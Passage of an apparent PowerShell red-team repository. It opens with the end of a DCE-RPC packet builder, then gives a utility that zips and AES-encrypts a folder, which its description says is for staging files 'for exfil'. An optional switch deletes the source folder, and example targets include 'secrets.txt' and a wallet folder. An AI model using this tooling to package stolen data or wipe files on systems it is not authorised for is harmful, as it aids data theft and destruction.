# Transfer Syntax: 32bit NDR UUID:8a885d04-1ceb-11c9-9fe8-08002b104860 199 | $pkt += 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60 200 | # Version (int 2) 201 | $pkt += 0x02,0x00,0x00,0x00 202 | 203 | Write-Verbose "[*] Built DCE-RPC CTX Item 1" 204 | 205 | # TODO: add verbose print here with HEX+ASCII Dump 206 | 207 | ################################## 208 | # DEC/RPC CTX Item 2 # 209 | ################################## 210 | # context ID: 1 211 | $pkt += 0x01,0x00 212 | # num of trans items: (int 1) 213 | $pkt += 0x01,0x00 214 | # Abstract Syntax: MGMT V1.0 215 | # Interface: MGMT UUID: afa8bd80-7d8a-11c9-bef4-08002b102989 216 | $pkt += 0x80,0xBD,0xA8,0xAF,0x8A,0x7D,0xC9,0x11,0xBE,0xF4,0x08,0x00,0x2B,0x10,0x29,0x89 217 | # Interface Ver: 1 218 | $pkt += 0x01,0x00 219 | # Interface Ver Minor: 220 | $pkt += 0x00,0x00 221 | # Transfer Syntax[1]: 64bit NDR V1 222 | # Transfer Syntax: 64bit NDR UUID:71710533-beba-4937-8319-b5dbef9ccc36 223 | $pkt += 0x33,0x05,0x71,0x71,0xBA,0xBE,0x37,0x49,0x83,0x19,0xB5,0xDB,0xEF,0x9C,0xCC,0x36 224 | # Version (int 1) 225 | $pkt += 0x01,0x00,0x00,0x00 226 | 227 | # TODO: add verbose print here with HEX+ASCII Dump 228 | Write-Verbose "[*] Built DCE-RPC CTX Item 2" 229 | return $pkt 230 | 231 | } 232 | 233 | function Get-HexDump($bytes) 234 | { 235 | $chunks = [Math]::Ceiling($bytes.Length / 16); 236 | 237 | $hexDump = 0..($chunks – 1) | % { 238 | $bufferSize = if ($_ -ne $chunks – 1) { 16 } else { $bytes.Length – $_ * 16} 239 | [byte[]] $buffer = @(0) * $bufferSize 240 | [Array]::Copy($bytes, $_ * 16, $buffer, 0, $bufferSize) 241 | $bufferChars = [System.Text.Encoding]::ASCII.GetChars($buffer); 242 | $hexRow = ($_ * 16).ToString("X8") + ": " 243 | $hexRow += (($buffer | %{ $_.ToString("X2") }) -join " ") 244 | $hexRow += (" " * ((17 – $buffer.Length) * 3)) 245 | $hexRow += (($bufferChars | %{ if ([char]::IsControl($_) -eq $true) { "." } else { "$_" } }) -join "") 246 | $hexRow 247 | 248 | } 249 | 250 | $hexDump 251 | } 252 | -------------------------------------------------------------------------------- /Invoke-EncryptedZip.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | 3 | Invoke-MakeEncZip via .NET 4 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 5 | License: BSD 3-Clause 6 | Required Dependencies: None 7 | Optional Dependencies: None 8 | 9 | #> 10 | 11 | 12 | function Invoke-EncryptedZip { 13 | <# 14 | .SYNOPSIS 15 | 16 | Invoke-EncryptedZip 17 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 18 | License: BSD 3-Clause 19 | Required Dependencies: None 20 | Optional Dependencies: None 21 | 22 | .DESCRIPTION 23 | 24 | Invoke-EncryptedZip is a utility to make a Enrypted Zip compresed file from a provided folder. 25 | This allows users to stage files in designated folder for exfil, or protection from final storage location. 26 | 27 | Refrence: https://technet.microsoft.com/en-us/library/2009.04.heyscriptingguy.aspx 28 | 29 | .PARAMETER SourceDirectory 30 | 31 | Required source directory to be Zip Encrypted archived 32 | 33 | .PARAMETER ZipFileName 34 | 35 | Required Zip file name to be outputed 36 | 37 | .PARAMETER ZipFilePath 38 | 39 | Required Zip file output directory 40 | 41 | .PARAMETER EncryptedFileName 42 | 43 | Required final encrypted file name 44 | 45 | .PARAMETER EncryptedFilePath 46 | 47 | Required final encrypted file path 48 | 49 | .PARAMETER ZipMethod 50 | 51 | Select the Method (COM, NET) to be used to Zip file (DEFAULT: NET) 52 | 53 | .PARAMETER EncryptMethod 54 | 55 | Select the Method (Stream, Memory) to be used to to encrypt the (DEFAULT: Stream) 56 | Memory is only good to about 1MB max to prevent PS consuming to much mem. 57 | 58 | .PARAMETER CleanUp 59 | 60 | Switch to enable clean up of source folder and zip file created. (DEFAULT: False) 61 | 62 | .EXAMPLE 63 | 64 | Invoke-EncryptedZip -SourceDirectory "C:\CINEBENCHR15.038" -ZipFileName "test.zip" -ZipFilePath "C:\" -EncryptedFilePath "C:\" 65 | 66 | Invoke-EncryptedZip -SourceDirectory "C:\CINEBENCHR15.038" -ZipFileName "test.zip" -ZipFilePath "C:\\" -EncryptedFilePath "C:\" -ZipMethod 'COM' 67 | 68 | Invoke-EncryptedZip -SourceDirectory "C:\CINEBENCHR15.038" -ZipFileName "test.zip" -ZipFilePath "C:\\" -EncryptedFilePath "C:\" -ZipMethod 'COM' -EncryptMethod 'Memory' 69 | 70 | Invoke-EncryptedZip -SourceDirectory "C:\CINEBENCHR15.038" -ZipFileName "test.zip" -ZipFilePath "C:\\" -EncryptedFilePath "C:\" -ZipMethod 'NET' -EncryptMethod 'Stream' -ZipMethod 'NET' -EncryptMethod 'Stream' -CleanUp -Verbose 71 | 72 | 73 | #> 74 | 75 | [CmdletBinding()] 76 | Param ( 77 | [Parameter(Mandatory = $true, Position = 0)] 78 | [String] 79 | $SourceDirectory, 80 | 81 | [Parameter(Mandatory = $true, Position = 1)] 82 | [string] 83 | $ZipFileName, 84 | 85 | [Parameter(Mandatory = $true, Position = 2)] 86 | [string] 87 | $ZipFilePath, 88 | 89 | [Parameter(Mandatory = $true, Position = 3)] 90 | [string] 91 | $EncryptedFileName, 92 | 93 | [Parameter(Mandatory = $true, Position = 4)] 94 | [string] 95 | $EncryptedFilePath, 96 | 97 | [Parameter(Mandatory = $false, Position = 5)] 98 | [ValidateSet("COM", "NET")] 99 | [String] 100 | $ZipMethod = "NET", 101 | 102 | [Parameter(Mandatory = $false, Position = 6)] 103 | [ValidateSet("Stream", "Memory")] 104 | [String] 105 | $EncryptMethod = "Stream", 106 | 107 | [Parameter(Mandatory = $false, Position = 7)] 108 | [Switch] 109 | $CleanUp = $false 110 | ) 111 | 112 | Begin { 113 | $ErrorActionPreference = "Stop" 114 | if(![IO.Directory]::Exists($SourceDirectory)){ 115 | Write-Error "[!] Cant find source directory $SourceDirectory, baling out" 116 | Exit 117 | } 118 | # Create zip file and test to make sure it was wrote to correct location 119 | if ($ZipMethod -eq "COM") { 120 | Create-ZipFileCOM -SourceDirectory $SourceDirectory -ZipFileName $ZipFileName -ZipFilePath $ZipFilePath 121 | } 122 | if ($ZipMethod -eq "NET") { 123 | Create-ZipFileNET -SourceDirectory $SourceDirectory -ZipFileName $ZipFileName -ZipFilePath $ZipFilePath 124 | } 125 | $ZipFile = "$ZipFilePath$ZipFileName" 126 | if(-not (test-path($ZipFile))) { 127 | Write-Output "[!] No zip present after creation, baling out!" 128 | Exit 129 | } 130 | sleep 2 131 | } 132 | 133 | 134 | Process { 135 | #Begin main process block exec of encryption 136 | if ($EncryptMethod -eq "Stream") { 137 | Write-Verbose "[*] Stream encryption selected" 138 | $AesKey = Create-AesKey 139 | $Result = Encrypt-AESFileStream -SourceDirectory $ZipFilePath -SourceFile $ZipFileName -EncryptedFileName $EncryptedFileName -EncryptedFilePath $EncryptedFilePath -AesKey $AesKey 140 | remove-variable AesKey 141 | [GC]::Collect() 142 | 143 | } 144 | if ($EncryptMethod -eq "Memory") { 145 | Write-Verbose "[*] Memory encryption selected" 146 | $FileBytes = [System.IO.File]::ReadAllBytes($ZipFile) 147 | $AesKey = Create-AesKey 148 | $EncryptedBytes = Encrypt-Bytes -AesKey $AesKey -Bytes $FileBytes 149 | remove-variable FileBytes 150 | [GC]::Collect() 151 | $EncryptedFile = "$EncryptedFilePath$EncryptedFileName" 152 | [io.file]::WriteAllBytes($EncryptedFile, $EncryptedBytes) 153 | remove-variable EncryptedBytes 154 | [GC]::Collect() 155 | $Result = New-Object –TypeName PSObject 156 | $Result | Add-Member –MemberType NoteProperty –Name Computer –Value $env:COMPUTERNAME 157 | $Result | Add-Member –MemberType NoteProperty –Name Key –Value $AesKey 158 | $Result | Add-Member –MemberType NoteProperty –Name Files –Value $EncryptedFile 159 | } 160 | } 161 | 162 | End { 163 | [GC]::Collect() 164 | if ($CleanUp) { 165 | # start file clean up routine 166 | Remove-Item $SourceDirectory -Recurse -Force 167 | Write-Verbose "[*] Source folder deleted: $SourceDirectory" 168 | Remove-Item $ZipFile -Force 169 | Write-Verbose "[*] Zip archive deleted: $ZipFile" 170 | if([IO.Directory]::Exists($SourceDirectory)){ 171 | Write-Warning "[!] WARNING: Source folder deletion failed, please manualy remove: $SourceDirectory" 172 | } 173 | if([System.IO.File]::Exists($ZipFileName)){ 174 | Write-Warning "[!] WARNING: Zip deletion failed, please manualy remove: $ZipFile" 175 | } 176 | } 177 | return $Result 178 | } 179 | 180 | 181 | } 182 | 183 | 184 | function Invoke-DecryptZip { 185 | <# 186 | .SYNOPSIS 187 | 188 | Invoke-EncryptedZip 189 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 190 | License: BSD 3-Clause 191 | Required Dependencies: None 192 | Optional Dependencies: None 193 | 194 | .DESCRIPTION 195 | 196 | Invoke-DecryptZip is a utility to decrypt files created with this utility. 197 | 198 | Refrence: https://technet.microsoft.com/en-us/library/2009.04.heyscriptingguy.aspx 199 | 200 | .PARAMETER EncryptedFileName 201 | 202 | Required final encrypted file name 203 | 204 | .PARAMETER EncryptedFilePath 205 | 206 | Required final encrypted file path 207 | 208 | .PARAMETER ZipMethod 209 | 210 | Select the Method (COM, NET) to be used to Zip file (DEFAULT: NET) 211 | 212 | .PARAMETER EncryptMethod 213 | 214 | Select the Method (Stream, Memory) to be used to to encrypt the (DEFAULT: Stream) 215 | Memory is only good to about 1MB max to prevent PS consuming to much mem. 216 | 217 | .PARAMETER CleanUp 218 | 219 | Switch to enable clean up of source folder and zip file created. (DEFAULT: False) 220 | 221 | .EXAMPLE 222 | 223 | Invoke-DecryptZip -EncryptedFileName 'shellcode.dat' -EncryptedFilePath 'C:\Users\admin\Desktop\' -AesKey 'H2dbIaoK2MFYU2ge/4cx00XjLuLSC63odhqhKP4vC84=' 224 | 225 | Invoke-DecryptZip -EncryptedFileName 'shellcode.dat' -EncryptedFilePath 'C:\Users\admin\Desktop\' -AesKey 'H2dbIaoK2MFYU2ge/4cx00XjLuLSC63odhqhKP4vC84=' -CleanUp -Verbose 226 | 227 | Computer Key Files 228 | -------- --- ----- 229 | TEST H2dbIaoK2MFYU2ge/4cx00XjLuLSC63odhqhKP4vC84= C:\Users\admin\Desktop\shellcode.zip 230 | 231 | #> 232 | 233 | [CmdletBinding()] 234 | Param ( 235 | 236 | [Parameter(Mandatory = $true, Position = 1)] 237 | [string] 238 | $AesKey, 239 | 240 | [Parameter(Mandatory = $true, Position = 2)] 241 | [string] 242 | $EncryptedFileName, 243 | 244 | [Parameter(Mandatory = $true, Position = 3)] 245 | [string] 246 | $EncryptedFilePath, 247 | 248 | [Parameter(Mandatory = $false, Position = 4)] 249 | [ValidateSet("COM", "NET")] 250 | [String] 251 | $ZipMethod = "NET", 252 | 253 | [Parameter(Mandatory = $false, Position = 5)] 254 | [ValidateSet("Stream", "Memory")] 255 | [String] 256 | $EncryptMethod = "Stream", 257 | 258 | [Parameter(Mandatory = $false, Position = 6)] 259 | [Switch] 260 | $CleanUp = $false 261 | ) 262 | 263 | Begin { 264 | $ErrorActionPreference = "Stop" 265 | $EncryptedFile = "$EncryptedFilePath$EncryptedFileName" 266 | $DecryptedFile = $EncryptedFileName.Split(".")[0] + ".zip" 267 | if(![System.IO.File]::Exists($EncryptedFile)){ 268 | Write-Error "[!] Cant find Encrypted File $EncryptedFile, baling out" 269 | } 270 | if ($EncryptMethod -eq "Stream") { 271 | Write-Verbose "[*] Stream dcryption selected" 272 | $Result = Decrypt-AESFileStream -DestionationDirectory $EncryptedFilePath -DestionationFile $DecryptedFile -EncryptedFileName $EncryptedFileName -EncryptedFilePath $EncryptedFilePath -AesKey $AesKey 273 | remove-variable AesKey 274 | [GC]::Collect() 275 | 276 | } 277 | } 278 | 279 | 280 | Process { 281 | #Begin main process block exec of de ziping 282 | $ZipFile = "$EncryptedFilePath$DecryptedFile" 283 | $DecryptedFolder = $EncryptedFileName.Split(".")[0] 284 | $DecompressedZipFolder = "$EncryptedFilePath$DecryptedFolder" 285 | if ($ZipMethod -eq "NET") { 286 | Create-DecompressedZipFileNET -ZipFilePath $ZipFile -OutputFolderPath $DecompressedZipFolder 287 | } 288 | Write-Verbose "[*] Zip decompressed to: $DecompressedZipFolder" 289 | if(![IO.Directory]::Exists($DecompressedZipFolder)){ 290 | Write-Error "[!] No folder Decompressed present after creation, baling out!" 291 | } 292 | } 293 | 294 | End { 295 | [GC]::Collect() 296 | if ($CleanUp) { 297 | # start file clean up routine 298 | Remove-Item $EncryptedFile -Force 299 | Write-Verbose "[*] Source file deleted: $EncryptedFile" 300 | Remove-Item $ZipFile -Force 301 | Write-Verbose "[*] Zip archive deleted: $ZipFile" 302 | if([IO.Directory]::Exists($EncryptedFile)){ 303 | Write-Warning "[!] WARNING: Source folder deletion failed, please manualy remove: $EncryptedFile" 304 | } 305 | if([System.IO.File]::Exists($ZipFile)){ 306 | Write-Warning "[!] WARNING: Zip deletion failed, please manualy remove: $ZipFile" 307 | } 308 | } 309 | return $Result 310 | } 311 | 312 | 313 | } 314 | 315 | function Create-AesManagedObject { 316 | <# 317 | .SYNOPSIS 318 | 319 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 320 | License: BSD 3-Clause 321 | Required Dependencies: None 322 | Optional Dependencies: None 323 | 324 | .DESCRIPTION 325 | 326 | Makes the required AES object for encryption and decryption 327 | 328 | Refrence: https://gist.github.com/ctigeek/2a56648b923d198a6e60 329 | 330 | .PARAMETER AesKey 331 | 332 | The required AES key being used for encryption (base64 key) 333 | 334 | .PARAMETER AesIV 335 | 336 | The required AES IV being used for encryption (base64 iv) 337 | 338 | 339 | .EXAMPLE 340 | 341 | Create-AesManagedObject $key $iv 342 | #> 343 | 344 | [CmdletBinding()] 345 | Param ( 346 | [Parameter(Mandatory = $false, Position = 0)] 347 | [String] 348 | $AesKey, 349 | 350 | [Parameter(Mandatory = $false, Position = 1)] 351 | [string] 352 | $AesIV 353 | ) 354 | 355 | Begin { 356 | if ($AesKey) { 357 | Write-Verbose "[*] Key being used for encryption: $AesKey" 358 | } 359 | if ($AesIV) { 360 | Write-Verbose "[*] IV being used for encryption: $iv" 361 | } 362 | } 363 | 364 | Process { 365 | #Begin main process block 366 | $ErrorActionPreference = "Stop" 367 | $aesManaged = New-Object "System.Security.Cryptography.AesManaged" 368 | $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC 369 | $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 370 | $aesManaged.BlockSize = 128 371 | $aesManaged.KeySize = 256 372 | if ($AesIV) { 373 | if ($AesIV.getType().Name -eq "String") { 374 | $aesManaged.IV = [System.Convert]::FromBase64String($AesIV) 375 | } 376 | else { 377 | $aesManaged.IV = $AesIV 378 | } 379 | } 380 | if ($AesKey) { 381 | if ($AesKey.getType().Name -eq "String") { 382 | $aesManaged.Key = [System.Convert]::FromBase64String($AesKey) 383 | } 384 | else { 385 | $aesManaged.Key = $AesKey 386 | } 387 | } 388 | } 389 | 390 | End { 391 | 392 | Write-Verbose "[*] Completed AES object creation" 393 | # return obj to pipeline 394 | $aesManaged 395 | } 396 | 397 | 398 | } 399 | 400 | function Create-AesKey { 401 | <# 402 | .SYNOPSIS 403 | 404 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 405 | License: BSD 3-Clause 406 | Required Dependencies: None 407 | Optional Dependencies: None 408 | 409 | .DESCRIPTION 410 | 411 | Makes the required AES key object to pass 412 | 413 | Refrence: https://gist.github.com/ctigeek/2a56648b923d198a6e60 414 | 415 | 416 | .EXAMPLE 417 | 418 | $b64key = Create-AesKey 419 | #> 420 | 421 | Begin { 422 | Write-Verbose "[*] AES key creation started" 423 | } 424 | 425 | 426 | Process { 427 | 428 | #Begin main process block 429 | $ErrorActionPreference = "Stop" 430 | $aesManaged = Create-AesManagedObject 431 | $aesManaged.GenerateKey() 432 | } 433 | 434 | End { 435 | 436 | Write-Verbose "[*] Completed AES key creation" 437 | # return obj to pipeline 438 | $AesKey = [System.Convert]::ToBase64String($aesManaged.Key) 439 | Write-Verbose "[*] AES key created: $AesKey" 440 | return $AesKey 441 | } 442 | 443 | } 444 | 445 | 446 | function Encrypt-Bytes { 447 | <# 448 | .SYNOPSIS 449 | 450 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 451 | License: BSD 3-Clause 452 | Required Dependencies: None 453 | Optional Dependencies: None 454 | 455 | .DESCRIPTION 456 | 457 | Makes the required AES object for encryption and decryption 458 | 459 | Refrence: https://gist.github.com/ctigeek/2a56648b923d198a6e60 460 | 461 | .PARAMETER AesKey 462 | 463 | The required AES key being used for encryption (base64 key) 464 | 465 | .PARAMETER Bytes 466 | 467 | The bytes to be encrypted via AES 468 | 469 | 470 | .EXAMPLE 471 | 472 | Encrypt-Bytes $AesKey $FileBytes 473 | #> 474 | 475 | [CmdletBinding()] 476 | Param ( 477 | [Parameter(Mandatory = $true, Position = 0)] 478 | [String] 479 | $AesKey, 480 | 481 | [Parameter(Mandatory = $true, Position = 1)] 482 | $Bytes 483 | ) 484 | 485 | Begin { 486 | Write-Verbose "[*] Key being used for encryption of bytes: $key" 487 | } 488 | 489 | 490 | Process { 491 | $ErrorActionPreference = "Stop" 492 | $aesManaged = Create-AesManagedObject $AesKey 493 | $encryptor = $aesManaged.CreateEncryptor() 494 | $encryptedData = $encryptor.TransformFinalBlock($Bytes, 0, $Bytes.Length); 495 | [byte[]] $fullData = $aesManaged.IV + $encryptedData 496 | $aesManaged.Dispose() 497 | # $finalbytes = [System.Convert]::ToBase64String($fullData) 498 | $finalbytes = $fullData 499 | 500 | } 501 | 502 | End { 503 | 504 | Write-Verbose "[*] Completed AES encryption of bytes" 505 | # return obj to pipeline 506 | $finalbytes 507 | } 508 | 509 | 510 | } 511 | 512 | function Create-ZipFileCOM { 513 | <# 514 | .SYNOPSIS 515 | 516 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 517 | License: BSD 3-Clause 518 | Required Dependencies: None 519 | Optional Dependencies: None 520 | 521 | .DESCRIPTION 522 | 523 | Makes the required AES object for encryption and decryption 524 | 525 | Refrence: https://serverfault.com/questions/456095/zipping-only-files-using-powershell 526 | 527 | .PARAMETER SourceDirectory 528 | 529 | Required source directory to be Zip archived 530 | 531 | .PARAMETER ZipFileName 532 | 533 | Required Zip file name to be outputed 534 | 535 | .PARAMETER ZipFilePath 536 | 537 | Required Zip file output directory 538 | 539 | .EXAMPLE 540 | 541 | Create-ZipFile -SourceDirectory "C:\Users\KILLSWITCH-GUI\Desktop\Ethereum-Wallet-win32-0-8-10\win-ia32-unpacked" -ZipFileName "test.zip" -ZipFilePath "C:\Users\KILLSWITCH-GUI\Desktop\" -Verbose 542 | #> 543 | 544 | [CmdletBinding()] 545 | Param ( 546 | [Parameter(Mandatory = $true, Position = 0)] 547 | [String] 548 | $SourceDirectory, 549 | 550 | [Parameter(Mandatory = $true, Position = 1)] 551 | [string] 552 | $ZipFileName, 553 | 554 | [Parameter(Mandatory = $true, Position = 1)] 555 | [string] 556 | $ZipFilePath 557 | ) 558 | 559 | Begin { 560 | $ErrorActionPreference = "Stop" 561 | $zipFile = "$ZipFilePath$ZipFileName" 562 | Write-Verbose "[*] Full Zip file output path: $zipFile" 563 | Write-Verbose "[*] Full path of folder to be zipped: $SourceDirectory" 564 | #Prepare zip file on disk 565 | if(-not (test-path($zipFile))) { 566 | set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) 567 | (dir $zipFile).IsReadOnly = $false 568 | } 569 | } 570 | 571 | Process { 572 | $shellApplication = new-object -com shell.application 573 | $zipPackage = $shellApplication.NameSpace($zipFile) 574 | $files = Get-ChildItem -Path $SourceDirectory 575 | 576 | foreach($file in $files) { 577 | $zipPackage.CopyHere($file.FullName) 578 | while($zipPackage.Items().Item($file.name) -eq $null){ 579 | Write-Verbose "[*] Completed compression on file: $file" 580 | Start-sleep -seconds 1 581 | } 582 | } 583 | 584 | } 585 | 586 | End { 587 | $len = (Get-Item "$zipFile").length 588 | # TODO: Fix addtype 589 | # $size = Convert-Size -Size $len 590 | $size = $len 591 | Write-Verbose "[*] Completed Zip file creation" 592 | Write-Verbose "[*] Final Zip file size: $size" 593 | } 594 | 595 | 596 | } 597 | 598 | 599 | function Create-DecompressedZipFileNET { 600 | <# 601 | .SYNOPSIS 602 | 603 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 604 | License: BSD 3-Clause 605 | Required Dependencies: None 606 | Optional Dependencies: None 607 | 608 | .DESCRIPTION 609 | 610 | Uses .NET to Decompressed zip file to directory 611 | 612 | Refrence: https://stackoverflow.com/questions/1153126/how-to-create-a-zip-archive-with-powershell 613 | 614 | .PARAMETER ZipFilePath 615 | 616 | Required Zip file full file path Ex: C:\Windows\Tasks\test.zip 617 | 618 | .PARAMETER OutputFolderPath 619 | 620 | Required output directory that will be created Ex: C:\Windows\Tasks\test 621 | This creates a directory. As .NET can only zip a directory. 622 | 623 | .EXAMPLE 624 | 625 | #> 626 | 627 | [CmdletBinding()] 628 | Param ( 629 | [Parameter(Mandatory = $true, Position = 0)] 630 | [String] 631 | $ZipFilePath, 632 | 633 | [Parameter(Mandatory = $true, Position = 1)] 634 | [string] 635 | $OutputFolderPath 636 | ) 637 | 638 | Begin { 639 | $ErrorActionPreference = "Stop" 640 | Write-Verbose "[*] Full path of file to be Decompressed: $ZipFilePath" 641 | Write-Verbose "[*] Full path of zip file to be stored to: $OutputFolderPath" 642 | } 643 | 644 | Process { 645 | [Reflection.Assembly]::LoadWithPartialName("System.IO.Compression.FileSystem") > $null 646 | [System.IO.Compression.ZipFile]::ExtractToDirectory($ZipFilePath,$OutputFolderPath) 647 | } 648 | 649 | End { 650 | Write-Verbose "[*] Completed Decompressed file creation" 651 | } 652 | 653 | 654 | } 655 | 656 | function Create-ZipFileNET { 657 | <# 658 | .SYNOPSIS 659 | 660 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 661 | License: BSD 3-Clause 662 | Required Dependencies: None 663 | Optional Dependencies: None 664 | 665 | .DESCRIPTION 666 | 667 | Uses .NET to zip file directory 668 | 669 | Refrence: https://stackoverflow.com/questions/1153126/how-to-create-a-zip-archive-with-powershell 670 | 671 | .PARAMETER SourceDirectory 672 | 673 | Required source directory to be Zip archived 674 | 675 | .PARAMETER ZipFileName 676 | 677 | Required Zip file name to be outputed 678 | 679 | .PARAMETER ZipFilePath 680 | 681 | Required Zip file output directory 682 | 683 | .EXAMPLE 684 | 685 | Create-ZipFile -SourceDirectory "C:\Users\KILLSWITCH-GUI\Desktop\Ethereum-Wallet-win32-0-8-10\win-ia32-unpacked" -ZipFileName "test.zip" -ZipFilePath "C:\Users\KILLSWITCH-GUI\Desktop\" -Verbose 686 | #> 687 | 688 | [CmdletBinding()] 689 | Param ( 690 | [Parameter(Mandatory = $true, Position = 0)] 691 | [String] 692 | $SourceDirectory, 693 | 694 | [Parameter(Mandatory = $true, Position = 1)] 695 | [string] 696 | $ZipFileName, 697 | 698 | [Parameter(Mandatory = $true, Position = 1)] 699 | [string] 700 | $ZipFilePath 701 | ) 702 | 703 | Begin { 704 | $ErrorActionPreference = "Stop" 705 | $zipFile = "$ZipFilePath$ZipFileName" 706 | Write-Verbose "[*] Full Zip file output path: $zipFile" 707 | Write-Verbose "[*] Full path of folder to be zipped: $SourceDirectory" 708 | } 709 | 710 | Process { 711 | [Reflection.Assembly]::LoadWithPartialName("System.IO.Compression.FileSystem") > $null 712 | $compressionLevel = [System.IO.Compression.CompressionLevel]::Optimal 713 | [System.IO.Compression.ZipFile]::CreateFromDirectory($SourceDirectory, 714 | $zipFile, $compressionLevel, $false) 715 | } 716 | 717 | End { 718 | $len = (Get-Item "$zipFile").length 719 | # TODO: Fix addtype 720 | # $size = Convert-Size -Size $len 721 | $size = $len 722 | Write-Verbose "[*] Completed Zip file creation" 723 | Write-Verbose "[*] Final Zip file size: $size" 724 | } 725 | 726 | 727 | } 728 | 729 | function Encrypt-AESFileStream { 730 | <# 731 | .SYNOPSIS 732 | 733 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 734 | License: BSD 3-Clause 735 | Required Dependencies: None 736 | Optional Dependencies: None 737 | 738 | .DESCRIPTION 739 | 740 | Uses .NET to encrypt using file stream rather than fully in mem. 741 | 742 | Refrence: https://stackoverflow.com/questions/1153126/how-to-create-a-zip-archive-with-powershell 743 | https://msdn.microsoft.com/en-us/library/system.security.cryptography.cryptostream.cryptostream(v=vs.110).aspx 744 | https://gallery.technet.microsoft.com/scriptcenter/EncryptDecrypt-files-use-65e7ae5d 745 | 746 | 747 | .PARAMETER SourceDirectory 748 | 749 | Required source directory of file directory to be encrypted 750 | 751 | .PARAMETER SourceFile 752 | 753 | Required source file name to be encrypted 754 | 755 | .PARAMETER EncryptedFileName 756 | 757 | Required final encrypted file name 758 | 759 | .PARAMETER EncryptedFilePath 760 | 761 | Required final encrypted file path 762 | 763 | .PARAMETER AesKey 764 | 765 | Required AES key to be used for encryption 766 | 767 | .NOTES 768 | 769 | Adapted from Tyler Siegrist. 770 | 771 | .EXAMPLE 772 | 773 | $key = Create-AesKey 774 | 775 | Encrypt-AESFileStream -SourceDirectory "C:\Users\admin\Desktop\" -SourceFile "secrets.txt" -EncryptedFileName "secrets.crypto" -EncryptedFilePath "C:\Users\admin\Desktop\" -AesKey $key 776 | 777 | Computer Key Files 778 | -------- --- ----- 779 | TEST 7f/3e9cQF8yx2UNhG/Dc6XYLKYqXptK1ALB+tP3QUwA= C:\Users\admin\Desktop\secrets.crypto 780 | #> 781 | 782 | [CmdletBinding()] 783 | Param ( 784 | [Parameter(Mandatory = $true, Position = 0)] 785 | [String] 786 | $SourceDirectory, 787 | 788 | [Parameter(Mandatory = $true, Position = 1)] 789 | [String] 790 | $SourceFile, 791 | 792 | [Parameter(Mandatory = $true, Position = 2)] 793 | [string] 794 | $EncryptedFileName, 795 | 796 | [Parameter(Mandatory = $true, Position = 3)] 797 | [string] 798 | $EncryptedFilePath, 799 | 800 | [Parameter(Mandatory = $true, Position = 4)] 801 | [string] 802 | $AesKey 803 | ) 804 | 805 | Begin { 806 | $ErrorActionPreference = "Stop" 807 | $EncryptedFile = "$EncryptedFilePath$EncryptedFileName" 808 | $SourceFileName = "$SourceDirectory$SourceFile" 809 | $AESProvider = Create-AesManagedObject -AesKey $AesKey 810 | [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography') 811 | if(![System.IO.File]::Exists($SourceFileName)){ 812 | Write-Verbose "[*] File check failed: $SourceFileName" 813 | Write-Error "[!] File not present? Check your self!" 814 | } 815 | Write-Verbose "[*] File check passed: $SourceFileName" 816 | } 817 | 818 | Process { 819 | # create the file stream for the encryptor 820 | $FileStreamReader = New-Object System.IO.FileStream($SourceFileName, [System.IO.FileMode]::Open) 821 | 822 | 823 | # create destination file 824 | Try 825 | { 826 | $FileStreamWriter = New-Object System.IO.FileStream($EncryptedFile, [System.IO.FileMode]::Create) 827 | } 828 | Catch 829 | { 830 | Write-Error "[!] Unable to open file to write: $FileStreamWriter" 831 | $FileStreamReader.Close() 832 | $FileStreamWriter.Close() 833 | } 834 | # write IV length & IV to encrypted file header 835 | $AESProvider.GenerateIV() 836 | $FileStreamWriter.Write([System.BitConverter]::GetBytes($AESProvider.IV.Length), 0, 4) 837 | $FileStreamWriter.Write($AESProvider.IV, 0, $AESProvider.IV.Length) 838 | # start encryption routine 839 | Write-Verbose "[*] Encrypting $SourceFileName with an IV of $([System.Convert]::ToBase64String($AESProvider.IV))" 840 | 841 | try 842 | { 843 | $Transform = $AESProvider.CreateEncryptor() 844 | $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) 845 | [Int]$Count = 0 846 | [Int]$BlockSizeBytes = $AESProvider.BlockSize / 8 847 | [Byte[]]$Data = New-Object Byte[] $BlockSizeBytes 848 | Do 849 | { 850 | $Count = $FileStreamReader.Read($Data, 0, $BlockSizeBytes) 851 | $CryptoStream.Write($Data, 0, $Count) 852 | } 853 | While($Count -gt 0) 854 | 855 | #Close open files 856 | $CryptoStream.FlushFinalBlock() 857 | $CryptoStream.Close() 858 | $FileStreamReader.Close() 859 | $FileStreamWriter.Close() 860 | # finshed 861 | Write-Verbose "[*] Successfully encrypted file: $EncryptedFile" 862 | } 863 | catch 864 | { 865 | Write-Error "[!] Failed to encrypt: $SourceFileName" 866 | $CryptoStream.Close() 867 | $FileStreamWriter.Close() 868 | $FileStreamReader.Close() 869 | Remove-Item $EncryptedFile -Force 870 | } 871 | } 872 | 873 | End { 874 | $len = (Get-Item "$EncryptedFile").length 875 | # TODO: Fix addtype 876 | # $size = Convert-Size -Size $len 877 | $size = $len 878 | Write-Verbose "[*] Final encrypted file size: $size" 879 | $Result = New-Object –TypeName PSObject 880 | $Result | Add-Member –MemberType NoteProperty –Name Computer –Value $env:COMPUTERNAME 881 | $Result | Add-Member –MemberType NoteProperty –Name Key –Value $AesKey 882 | $Result | Add-Member –MemberType NoteProperty –Name Files –Value $EncryptedFile 883 | return $Result 884 | } 885 | 886 | 887 | } 888 | 889 | function Decrypt-AESFileStream { 890 | <# 891 | .SYNOPSIS 892 | 893 | Author: Alexander Rymdeko-Harvey (@Killswitch-GUI) 894 | License: BSD 3-Clause 895 | Required 